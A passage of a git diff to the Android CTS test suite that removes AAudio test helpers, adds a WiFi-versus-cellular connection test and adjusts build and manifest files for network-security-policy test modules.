+public class AAudioTests {}
diff --git a/tests/tests/nativemedia/aaudio/src/utils.cpp b/tests/tests/nativemedia/aaudio/src/utils.cpp
deleted file mode 100644
index b039f4e..0000000
--- a/tests/tests/nativemedia/aaudio/src/utils.cpp
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define LOG_TAG "AAudioTest"
-
-#include <sys/types.h>
-#include <unistd.h>
-
-#include <android/log.h>
-#include <gtest/gtest.h>
-
-#include "test_aaudio.h"
-#include "utils.h"
-
-int64_t getNanoseconds(clockid_t clockId) {
-    struct timespec time;
-    int result = clock_gettime(clockId, &time);
-    if (result < 0) {
-        return -errno;
-    }
-    return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
-}
-
-const char* performanceModeToString(aaudio_performance_mode_t mode) {
-    switch (mode) {
-        case AAUDIO_PERFORMANCE_MODE_NONE: return "DEFAULT";
-        case AAUDIO_PERFORMANCE_MODE_POWER_SAVING: return "POWER_SAVING";
-        case AAUDIO_PERFORMANCE_MODE_LOW_LATENCY: return "LOW_LATENCY";
-    }
-    return "UNKNOWN";
-}
-
-const char* sharingModeToString(aaudio_sharing_mode_t mode) {
-    switch (mode) {
-        case AAUDIO_SHARING_MODE_SHARED: return "SHARED";
-        case AAUDIO_SHARING_MODE_EXCLUSIVE: return "EXCLUSIVE";
-    }
-    return "UNKNOWN";
-}
-
-
-// These periods are quite generous. They are not designed to put
-// any restrictions on the implementation, but only to ensure sanity.
-// Use int64_t because 96000 * 30000 is close to int32_t limits.
-const std::map<aaudio_performance_mode_t, int64_t> StreamBuilderHelper::sMaxFramesPerBurstMs =
-{ { AAUDIO_PERFORMANCE_MODE_NONE, 128 },
-  { AAUDIO_PERFORMANCE_MODE_POWER_SAVING, 30 * 1000 },
-  { AAUDIO_PERFORMANCE_MODE_LOW_LATENCY, 40 } };
-
-StreamBuilderHelper::StreamBuilderHelper(
-        aaudio_direction_t direction, int32_t sampleRate,
-        int32_t channelCount, aaudio_format_t dataFormat,
-        aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode)
-        : mDirection{direction},
-          mRequested{sampleRate, channelCount, dataFormat, sharingMode, perfMode},
-          mActual{0, 0, AAUDIO_FORMAT_INVALID, -1, -1}, mFramesPerBurst{-1},
-          mBuilder{nullptr}, mStream{nullptr} {}
-
-StreamBuilderHelper::~StreamBuilderHelper() {
-    close();
-}
-
-void StreamBuilderHelper::initBuilder() {
-    ASSERT_EQ(1U, sMaxFramesPerBurstMs.count(mRequested.perfMode));
-
-    // Use an AAudioStreamBuilder to define the stream.
-    aaudio_result_t result = AAudio_createStreamBuilder(&mBuilder);
-    ASSERT_EQ(AAUDIO_OK, result);
-    ASSERT_TRUE(mBuilder != nullptr);
-
-    // Request stream properties.
-    AAudioStreamBuilder_setDeviceId(mBuilder, AAUDIO_UNSPECIFIED);
-    AAudioStreamBuilder_setDirection(mBuilder, mDirection);
-    AAudioStreamBuilder_setSampleRate(mBuilder, mRequested.sampleRate);
-    AAudioStreamBuilder_setChannelCount(mBuilder, mRequested.channelCount);
-    AAudioStreamBuilder_setFormat(mBuilder, mRequested.dataFormat);
-    AAudioStreamBuilder_setSharingMode(mBuilder, mRequested.sharingMode);
-    AAudioStreamBuilder_setPerformanceMode(mBuilder, mRequested.perfMode);
-}
-
-// Needs to be a 'void' function due to ASSERT requirements.
-void StreamBuilderHelper::createAndVerifyStream(bool *success) {
-    *success = false;
-
-    aaudio_result_t result = AAudioStreamBuilder_openStream(mBuilder, &mStream);
-    if (mRequested.sharingMode == AAUDIO_SHARING_MODE_EXCLUSIVE && result != AAUDIO_OK) {
-        __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "Could not open a stream in EXCLUSIVE mode");
-        return;
-    }
-    ASSERT_EQ(AAUDIO_OK, result);
-    ASSERT_TRUE(mStream != nullptr);
-    ASSERT_EQ(AAUDIO_STREAM_STATE_OPEN, AAudioStream_getState(mStream));
-    ASSERT_EQ(mDirection, AAudioStream_getDirection(mStream));
-
-    mActual.sharingMode = AAudioStream_getSharingMode(mStream);
-    if (mActual.sharingMode != mRequested.sharingMode) {
-        // Since we are covering all possible values, the "actual" mode
-        // will also be tested, so no need to run the same test twice.
-        __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Sharing mode %s is not available",
-                sharingModeToString(mRequested.sharingMode));
-        return;
-    }
-
-    // Check to see what kind of stream we actually got.
-    mActual.sampleRate = AAudioStream_getSampleRate(mStream);
-    ASSERT_GE(mActual.sampleRate, 44100);
-    ASSERT_LE(mActual.sampleRate, 96000); // TODO what is min/max?
-
-    mActual.channelCount = AAudioStream_getChannelCount(mStream);
-    ASSERT_GE(mActual.channelCount, 1);
-    ASSERT_LE(mActual.channelCount, 16); // TODO what is min/max?
-
-    mActual.dataFormat = AAudioStream_getFormat(mStream);
-    ASSERT_EQ(AAUDIO_FORMAT_PCM_I16, mActual.dataFormat);
-
-    mActual.perfMode = AAudioStream_getPerformanceMode(mStream);
-    if (mRequested.perfMode != AAUDIO_PERFORMANCE_MODE_NONE
-            && mRequested.perfMode != mActual.perfMode) {
-        // Since we are covering all possible values, the "actual" mode
-        // will also be tested, so no need to run the same test twice.
-        __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Performance mode %s is not available",
-                performanceModeToString(mRequested.sharingMode));
-        return;
-    }
-
-    mFramesPerBurst = AAudioStream_getFramesPerBurst(mStream);
-    ASSERT_GE(mFramesPerBurst, 16);
-    const int32_t maxFramesPerBurst =
-            mActual.sampleRate * sMaxFramesPerBurstMs.at(mActual.perfMode) / MILLIS_PER_SECOND;
-    ASSERT_LE(mFramesPerBurst, maxFramesPerBurst);
-
-    int32_t actualBufferSize = AAudioStream_getBufferSizeInFrames(mStream);
-    ASSERT_GT(actualBufferSize, 0);
-    ASSERT_GT(AAudioStream_setBufferSizeInFrames(mStream, actualBufferSize), 0);
-
-    *success = true;
-}
-
-void StreamBuilderHelper::close() {
-    if (mBuilder != nullptr) {
-        ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
-    }
-    if (mStream != nullptr) {
-        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
-    }
-}
-
-void StreamBuilderHelper::streamCommand(
-        StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState) {
-    ASSERT_EQ(AAUDIO_OK, cmd(mStream));
-    aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
-    ASSERT_EQ(AAUDIO_OK,
-            AAudioStream_waitForStateChange(mStream, fromState, &state, DEFAULT_STATE_TIMEOUT));
-    ASSERT_EQ(toState, state);
-}
-
-
-InputStreamBuilderHelper::InputStreamBuilderHelper(
-        aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
-        : StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
-            48000, 1, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
-
-// Native apps don't have permissions, thus recording can
-// only be tested when running as root.
-static bool canTestRecording() {
-    static const bool runningAsRoot = getuid() == 0;
-    return runningAsRoot;
-}
-
-void InputStreamBuilderHelper::createAndVerifyStream(bool *success) {
-    if (!canTestRecording()) {
-        __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "No permissions to run recording tests");
-        *success = false;
-    } else {
-        StreamBuilderHelper::createAndVerifyStream(success);
-    }
-}
-
-
-OutputStreamBuilderHelper::OutputStreamBuilderHelper(
-        aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
-        : StreamBuilderHelper{AAUDIO_DIRECTION_OUTPUT,
-            48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
-
-void OutputStreamBuilderHelper::initBuilder() {
-    StreamBuilderHelper::initBuilder();
-    AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, kBufferCapacityFrames);
-}
-
-void OutputStreamBuilderHelper::createAndVerifyStream(bool *success) {
-    StreamBuilderHelper::createAndVerifyStream(success);
-    if (*success) {
-        ASSERT_GE(AAudioStream_getBufferCapacityInFrames(mStream), kBufferCapacityFrames);
-    }
-}
diff --git a/tests/tests/nativemedia/aaudio/src/utils.h b/tests/tests/nativemedia/aaudio/src/utils.h
deleted file mode 100644
index 44c3c69..0000000
--- a/tests/tests/nativemedia/aaudio/src/utils.h
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef CTS_MEDIA_TEST_AAUDIO_UTILS_H
-#define CTS_MEDIA_TEST_AAUDIO_UTILS_H
-
-#include <map>
-
-#include <aaudio/AAudio.h>
-
-int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
-const char* performanceModeToString(aaudio_performance_mode_t mode);
-const char* sharingModeToString(aaudio_sharing_mode_t mode);
-
-class StreamBuilderHelper {
-  public:
-    struct Parameters {
-        int32_t sampleRate;
-        int32_t channelCount;
-        aaudio_format_t dataFormat;
-        aaudio_sharing_mode_t sharingMode;
-        aaudio_performance_mode_t perfMode;
-    };
-
-    void initBuilder();
-    void createAndVerifyStream(bool *success);
-    void close();
-
-    void startStream() {
-        streamCommand(&AAudioStream_requestStart,
-                AAUDIO_STREAM_STATE_STARTING, AAUDIO_STREAM_STATE_STARTED);
-    }
-    void pauseStream() {
-        streamCommand(&AAudioStream_requestPause,
-                AAUDIO_STREAM_STATE_PAUSING, AAUDIO_STREAM_STATE_PAUSED);
-    }
-    void stopStream() {
-        streamCommand(&AAudioStream_requestStop,
-                AAUDIO_STREAM_STATE_STOPPING, AAUDIO_STREAM_STATE_STOPPED);
-    }
-    void flushStream() {
-        streamCommand(&AAudioStream_requestFlush,
-                AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
-    }
-
-    AAudioStreamBuilder* builder() const { return mBuilder; }
-    AAudioStream* stream() const { return mStream; }
-    const Parameters& actual() const { return mActual; }
-    int32_t framesPerBurst() const { return mFramesPerBurst; }
-
-  protected:
-    StreamBuilderHelper(aaudio_direction_t direction, int32_t sampleRate,
-            int32_t channelCount, aaudio_format_t dataFormat,
-            aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode);
-    ~StreamBuilderHelper();
-
-    typedef aaudio_result_t (StreamCommand)(AAudioStream*);
-    void streamCommand(
-            StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState);
-
-    static const std::map<aaudio_performance_mode_t, int64_t> sMaxFramesPerBurstMs;
-    const aaudio_direction_t mDirection;
-    const Parameters mRequested;
-    Parameters mActual;
-    int32_t mFramesPerBurst;
-    AAudioStreamBuilder *mBuilder;
-    AAudioStream *mStream;
-};
-
-class InputStreamBuilderHelper : public StreamBuilderHelper {
-  public:
-    InputStreamBuilderHelper(
-            aaudio_sharing_mode_t requestedSharingMode,
-            aaudio_performance_mode_t requestedPerfMode);
-    void createAndVerifyStream(bool *success);
-};
-
-class OutputStreamBuilderHelper : public StreamBuilderHelper {
-  public:
-    OutputStreamBuilderHelper(
-            aaudio_sharing_mode_t requestedSharingMode,
-            aaudio_performance_mode_t requestedPerfMode);
-    void initBuilder();
-    void createAndVerifyStream(bool *success);
-
-  private:
-    const int32_t kBufferCapacityFrames = 2000;
-};
-
-#endif  // CTS_MEDIA_TEST_AAUDIO_UTILS_H
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index dd310a1..37bf323 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -30,7 +30,7 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
-    <application>
+    <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
 
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index e98dfcc..27dd666 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -16,8 +16,11 @@
 
 package android.net.cts;
 
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+import static android.content.pm.PackageManager.FEATURE_WIFI;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 
 import android.app.PendingIntent;
@@ -29,6 +32,7 @@
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkProperties;
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkConfig;
@@ -50,14 +54,23 @@
 import java.io.FileNotFoundException;
 import java.io.InputStream;
 import java.io.IOException;
+import java.io.InputStreamReader;
 import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.Inet6Address;
+import java.net.InetAddress;
 import java.net.Socket;
 import java.net.InetSocketAddress;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.Scanner;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import libcore.io.Streams;
 
 public class ConnectivityManagerTest extends AndroidTestCase {
 
@@ -107,6 +120,8 @@
     private final HashMap<Integer, NetworkConfig> mNetworks =
             new HashMap<Integer, NetworkConfig>();
     boolean mWifiConnectAttempted;
+    private TestNetworkCallback mCellNetworkCallback;
+
 
     @Override
     protected void setUp() throws Exception {
@@ -140,6 +155,10 @@
         if (mWifiConnectAttempted) {
             disconnectFromWifi(null);
         }
+        if (cellConnectAttempted()) {
+            disconnectFromCell();
+        }
+        super.tearDown();
     }
 
     /**
@@ -246,6 +265,95 @@
         }
     }
 
+    /**
+     * Tests that connections can be opened on WiFi and cellphone networks,
+     * and that they are made from different IP addresses.
+     */
+    public void testOpenConnection() throws Exception {
+        boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
+                && mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
+        if (!canRunTest) {
+            Log.i(TAG,"testOpenConnection cannot execute unless device supports both WiFi "
+                    + "and a cellular connection");
+            return;
+        }
+
+        Network wifiNetwork = connectToWifi();
+        Network cellNetwork = connectToCell();
+        // This server returns the requestor's IP address as the response body.
+        URL url = new URL("http://google-ipv6test.appspot.com/ip.js?fmt=text");
+        String wifiAddressString = httpGet(wifiNetwork, url);
+        String cellAddressString = httpGet(cellNetwork, url);
+
+        assertFalse(String.format("Same address '%s' on two different networks (%s, %s)",
+                wifiAddressString, wifiNetwork, cellNetwork),
+                wifiAddressString.equals(cellAddressString));
+
+        // Sanity check that the IP addresses that the requests appeared to come from
+        // are actually on the respective networks.
+        assertOnNetwork(wifiAddressString, wifiNetwork);
+        assertOnNetwork(cellAddressString, cellNetwork);
+
+        assertFalse("Unexpectedly equal: " + wifiNetwork, wifiNetwork.equals(cellNetwork));
+    }
+
+    private Network connectToCell() throws InterruptedException {
+        if (cellConnectAttempted()) {
+            throw new IllegalStateException("Already connected");
+        }
+        NetworkRequest cellRequest = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .build();
+        mCellNetworkCallback = new TestNetworkCallback();
+        mCm.requestNetwork(cellRequest, mCellNetworkCallback);
+        final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
+        assertNotNull("Cell network not available within timeout", cellNetwork);
+        return cellNetwork;
+    }
+
+    private boolean cellConnectAttempted() {
+        return mCellNetworkCallback != null;
+    }
+
+    private void disconnectFromCell() {
+        if (!cellConnectAttempted()) {
+            throw new IllegalStateException("Cell connection not attempted");
+        }
+        mCm.unregisterNetworkCallback(mCellNetworkCallback);
+        mCellNetworkCallback = null;
+    }
+
+    /**
+     * Performs a HTTP GET to the specified URL on the specified Network, and returns
+     * the response body decoded as UTF-8.
+     */
+    private static String httpGet(Network network, URL httpUrl) throws IOException {
+        HttpURLConnection connection = (HttpURLConnection) network.openConnection(httpUrl);
+        try {
+            InputStream inputStream = connection.getInputStream();
+            return Streams.readFully(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
+        } finally {
+            connection.disconnect();
+        }
+    }
+
+    private void assertOnNetwork(String adressString, Network network) throws UnknownHostException {
+        InetAddress address = InetAddress.getByName(adressString);
+        LinkProperties linkProperties = mCm.getLinkProperties(network);
+        // To make sure that the request went out on the right network, check that
+        // the IP address seen by the server is assigned to the expected network.
+        // We can only do this for IPv6 addresses, because in IPv4 we will likely
+        // have a private IPv4 address, and that won't match what the server sees.
+        if (address instanceof Inet6Address) {
+            assertContains(linkProperties.getAddresses(), address);
+        }
+    }
+
+    private static<T> void assertContains(Collection<T> collection, T element) {
+        assertTrue(element + " not found in " + collection, collection.contains(element));
+    }
+
     private void assertStartUsingNetworkFeatureUnsupported(int networkType, String feature) {
         try {
             mCm.startUsingNetworkFeature(networkType, feature);
@@ -324,7 +432,7 @@
      * that it would increase test coverage by much (how many devices have 3G radio but not Wifi?).
      */
     public void testRegisterNetworkCallback() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
             return;
         }
@@ -364,7 +472,7 @@
      * of a {@code NetworkCallback}.
      */
     public void testRegisterNetworkCallback_withPendingIntent() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
             return;
         }
@@ -458,7 +566,7 @@
      * Tests reporting of connectivity changed.
      */
     public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
             return;
         }
@@ -475,7 +583,7 @@
     }
 
     public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
             return;
         }
@@ -495,7 +603,7 @@
 
     public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
             throws InterruptedException {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
             return;
         }
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 4c68423..b45bfe0 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -23,9 +23,10 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalseTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index 49385f8..d4ce39a 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -22,6 +22,7 @@
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 584afd2..89195cd 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -23,9 +23,10 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrueTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index be698f2..fe31e80 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -22,6 +22,7 @@
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 9a613e7..bad2cbc 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -23,9 +23,10 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     ctstestserver \
-    org.apache.http.legacy \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src common)
 
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index 7bd8742..c6b65c0 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -22,6 +22,7 @@
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 10018ce..4af2de7 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -20,7 +20,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
index 9356074..972052e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
@@ -20,6 +20,7 @@
         package="android.security.net.config.cts.CtsNetSecConfigAttributeTestCases">
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 161dbd3..95e14ef 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -20,7 +20,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
index 565f23a..3e5fe25 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
@@ -20,6 +20,7 @@
         package="android.security.net.config.cts.CtsNetSecConfigBasicDomainConfigTestCases">
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
new file mode 100644
index 0000000..6dc6c5d
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsNetSecConfigPrePCleartextTrafficTestCases
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := 26
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
new file mode 100644
index 0000000..bec926e
--- /dev/null
